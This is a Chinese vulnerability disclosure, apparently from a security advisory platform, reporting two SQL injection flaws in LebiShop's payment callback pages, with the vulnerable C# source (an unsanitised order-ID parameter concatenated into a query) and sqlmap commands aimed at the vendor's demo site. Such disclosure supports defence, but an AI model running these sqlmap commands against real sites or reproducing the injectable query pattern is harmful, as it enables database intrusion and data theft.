### 简要描述:
LebiShop商城系统最新版SQL注入 demo站点测试成功 最后两处
### 详细说明:
注入一
\onlinepay\wangyinzaixian\AutoReceive.aspx
源码如下
```
protected void Page_Load(object sender, EventArgs e)
{
this.v_oid = base.Request["v_oid"]; //没处理
Lebi_OnlinePay onlinePay = Money.GetOnlinePay(this.v_oid); //跟进
if (onlinePay == null)
{
base.Response.Write("系统错误");
base.Response.End();
}
else
{
string userKey = onlinePay.UserKey;
this.v_oid = base.Request["v_oid"];
this.v_pstatus = base.Request["v_pstatus"];
this.v_pstring = base.Request["v_pstring"];
this.v_pmode = base.Request["v_pmode"];
this.v_md5str = base.Request["v_md5str"];
this.v_amount = base.Request["v_amount"];
this.v_moneytype = base.Request["v_moneytype"];
this.remark1 = base.Request["remark1"];
this.remark2 = base.Request["remark2"];
if (FormsAuthentication.HashPasswordForStoringInConfigFile(this.v_oid + this.v_pstatus + this.v_amount + this.v_moneytype + userKey, "md5").ToUpper() == this.v_md5str)
{
base.Response.Write("ok");
if (this.v_pstatus.Equals("20"))
{
Order.OnlinePaySuccess(this.v_oid, "", false);
}
}
else
{
base.Response.Write("error");
}
}
}
```
```
public static Lebi_OnlinePay GetOnlinePay(string code)
{
return GetOnlinePay(B_Lebi_Order.GetModel("Code='" + code + "'")); //存在注入
}
```
注入二
地址
\onlinepay\wangyinzaixian\Receive.aspx
源码如下
```
protected void Page_Load(object sender, EventArgs e)
{
this.v_oid = base.Request["v_oid"]; //没处理
Lebi_OnlinePay onlinePay = Money.GetOnlinePay(this.v_oid); //跟进
if (onlinePay == null)
{
base.Response.Write("系统错误");
base.Response.End();
}
else
{
string userKey = onlinePay.UserKey;
this.v_pstatus = base.Request["v_pstatus"];
this.v_pstring = base.Request["v_pstring"];
this.v_pmode = base.Request["v_pmode"];
this.v_md5str = base.Request["v_md5str"];
this.v_amount = base.Request["v_amount"];
this.v_moneytype = base.Request["v_moneytype"];
this.remark1 = base.Request["remark1"];
this.remark2 = base.Request["remark2"];
if (FormsAuthentication.HashPasswordForStoringInConfigFile(this.v_oid + this.v_pstatus + this.v_amount + this.v_moneytype + userKey, "md5").ToUpper() == this.v_md5str)
{
if (this.v_pstatus.Equals("20"))
{
Order.OnlinePaySuccess(this.v_oid, "", true);
}
}
else
{
base.Response.Write("校验失败,数据可疑");
}
}
}
```
```
public static Lebi_OnlinePay GetOnlinePay(string code)
{
return GetOnlinePay(B_Lebi_Order.GetModel("Code='" + code + "'"));
}
```
### 漏洞证明:
注入一
地址
http://demo.lebi.cn/onlinepay/wangyinzaixian/AutoReceive.aspx
sqlmap扫描
```
sqlmap -u "http://demo.lebi.cn/onlinepay/wangyinzaixian/AutoReceive.aspx" --data "v_oid=1" --dbms "mssql" --technique=T --current-db
```
[<img src="https://images.seebug.org/upload/201503/06141227ba7aa4131daa84410011de0838231ca8.png" alt="526.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/06141227ba7aa4131daa84410011de0838231ca8.png)
[<img src="https://images.seebug.org/upload/201503/06141329898dc8a5276564a6d64cc19c49bd37d5.png" alt="527.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/06141329898dc8a5276564a6d64cc19c49bd37d5.png)
注入二
http://demo.lebi.cn/onlinepay/wangyinzaixian/Receive.aspx
sqlmap扫描
```
sqlmap -u "http://demo.lebi.cn/onlinepay/wangyinzaixian/Receive.aspx" --data "v_oid=1" --dbms "mssql" --technique=T --current-db
```
[<img src="https://images.seebug.org/upload/201503/06141433de4b1f713db16023ff655b757bf75a07.png" alt="528.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/06141433de4b1f713db16023ff655b757bf75a07.png)
[<img src="https://images.seebug.org/upload/201503/061416261b76f3639a4cb7b5855a20d571d98e1a.png" alt="529.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/061416261b76f3639a4cb7b5855a20d571d98e1a.png)
暂无评论